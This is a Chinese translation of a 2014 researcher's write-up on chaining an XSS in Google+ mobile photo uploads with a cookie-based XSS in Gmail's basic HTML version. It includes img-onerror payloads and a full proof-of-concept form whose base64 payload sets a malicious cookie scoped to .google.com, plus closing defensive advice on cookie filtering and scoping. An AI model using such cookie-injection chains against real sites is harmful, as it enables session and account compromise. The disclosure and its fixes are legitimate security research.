翻译作者：DM（信安之路前端安全小组成员）
原文地址：https://blog.bentkowski.info/2014/06/gmail-and-google-tale-of-two-xss-es.html
在这篇文章中，我会展示一下我在 Gmail 和 Google+ 中找到的两个 XSS 漏洞。特别是我会解释两个问题：
- 为什么我需要第二个平台去注入第一个平台；
- cookie 中的作用域的正确设置有多重要。
Gmail
Gmail 是我们最常用的的 google 服务之一，有很多不同的版本，包括基本 HTML 版本和移动版旧版。这次我要介绍的 XSS 漏洞发生在上面的两个版本中。这些版本中的功能比较简单，只能完成最基础的功能，只有基本的查看和发送邮件，但是最重要的一点是，我们可以设置标签。
举个例子，我们尝试设置一个
<test>
标签。
操作完成后，Gmail 会在通知中告知已对会话进行了标记。
当查看 http 会话时，我发现通知的内容实际上被放在 cookie 里。
cookie 里的 html 实体
<
和
>
吸引了我的注意力，接着我们很自然地想到这里是否能够插入自定义标签,例如
<img src=1 onerror=alert(1)>
然而这个 payload 没起作用，服务器报了 500 的错误。估计是 ">" 导致了这个错误。因为右尖括号在 cookie 里还有其他的用途。可能是 cookie 被 ">" 拆分，并且当有一个超出预期的字符传入时，服务器端会发生一些错误，所以我们需要再修改下 payload，去掉了右尖括号：
这次成功了，
alert
生效了，我在
mail.google.com
上找到了一个 xss 漏洞。
但现在仍然存在一个主要的问题。为了能够利用这个漏洞，我需要能够在受害者的浏览器中去设置任意 cookie。这通常是不可能的，需要另一个满足下面条件之一漏洞：
1、http 响应分割
2、无限制的设置 cookie：
https://miki.it/blog/2013/9/15/xsrf-cookie-setting-google/
3、另一个 xss 漏洞
前俩个条件非常难以满足，所以我们只关注第三个。还记得
Set-cookie
包含那些属性吗？
其中之一便是
domain
。所以当你发送一个消息头时:
Set-Cookie: Test= test;
Domain= .google.com
...... 复制
你创建了一个 cookie, 而这个 cookie 会被发送到 Google.com 的任何子域。因此，我需要在任意其他 Google 子域上找到另一个 xss 漏洞，并使用它去设置一个 cookie 去注入 Gmail。Google 有大量的服务，所以这应该不难;)
Google+
我十分幸运地在 Google+ 上找到了另一个 xss 漏洞。就像在 Gmail 中一样，这个漏洞存在于移动端而不是主版本。
这一次，我发现在上传照片时，很容易受到攻击。我注意到在上传请求中有两个很明显的 base64 的 http 参数:
puSuccessResponse
和
puFailureResponse
。
解码后：
解码后的结果包含了上传结束后的服务器响应的 html 代码。
puSuccessResponse
会在一切正常时运行，而
puFailureResponse
则是在失败时运行。更有趣的是这个请求包含
CSRF token
，当
token
不正确时，服务器会报 500 错误，但是
puFailureResponse
仍然会被应用！
做一个简单的测试，让我们用
alert(1)
来检查一下：
现在我们将操作组合起来。
代码如下:
<html>
<body>
<form action="https://plus.google.com/_/upload/app/basic/photos?cbp=&cid=5&soc-app=115&soc-platform=1"method="POST"enctype="multipart/form-data">
<input type="hidden"name="puSuccessResponse"value="aGVq"/>
<input type="hidden"name="puFailureResponse"value="PHNjcmlwdD4KYWxlcnQoIkR1ZGUsIHlvdSdyZSBYU1MtZWQgb24gIitkb2N1bWVudC5kb21haW4pOwpkb2N1bWVudC5jb29raWU9IkdNQUlMX05PVEk9dGwxPjxpbWcrc3JjJTNkMStvbmVycm9yJTNkJTIyYWxlcnQoJ0FuZCtub3crb24rJyUyYmRvY3VtZW50LmRvbWFpbiklMjIreDsgIERvbWFpbj0uZ29vZ2xlLmNvbTsgUGF0aD0vIjsKZG9jdW1lbnQubG9jYXRpb24gPSAiaHR0cHM6Ly9tYWlsLmdvb2dsZS5jb20vbWFpbC94LyI7ICAgCjwvc2NyaXB0PiAg"/>
<input type="submit"value="Double XSS!"/>
</form>
</body>
</html> 复制
puSuccessResponse
被解码为:
<script>
alert("Dude, you're XSS-ed on "+document.domain);
document.cookie="GMAIL_NOTI=tl1><img+src=1+onerror="alert('And+now+on+'+document.domain)"+x; Domain=.google.com; Path=/";
document.location="https://mail.google.com/mail/x/";
</script> 复制
让我们看看发生了什么：
1、系统会显示 plus.google.com 上的弹窗
2、cookie
GMAIL_NOTI
中被设置了 xss 代码，mail.google.com 会读取这条 cookie 从而被 xss 攻击
3、用户会立即重定向到 mail.google.com 从而被 xss 攻击
您可以在下面的视频中看到结果：
这两个漏洞已经在 2014 年 3 月报告给了 Google，并且已经被修复。非常感谢 Google 安全团队的，这是一个锻炼技能的好方法。
总结
这是一篇 2014 年的文章，虽然文中的平台已经改进了，但是技术的本质没有变化。
mail.google.com
本身是没有 xss 漏洞的，但读取了从
plus.google.com
传来的 cookie 时，并没有进行过滤，安全问题就由此产生了。
cookie 中的数据一般是由服务器分发的，所以在开发中很难想到 cookie 中的数据也是不安全的。这里其实有两个办法来解决这个问题：
1、对 cookie 的数据进行过滤；
2、正确设置 cookie 的作用域。
两个方法如果实施了任意一个都可以防止 xss 的产生。从现在来看，浏览器的的存储空间不仅仅有 cookie，还有 sessionStorage、localStorage、IndexedDB。从这些来源的数据在处理时也需要被谨慎考虑。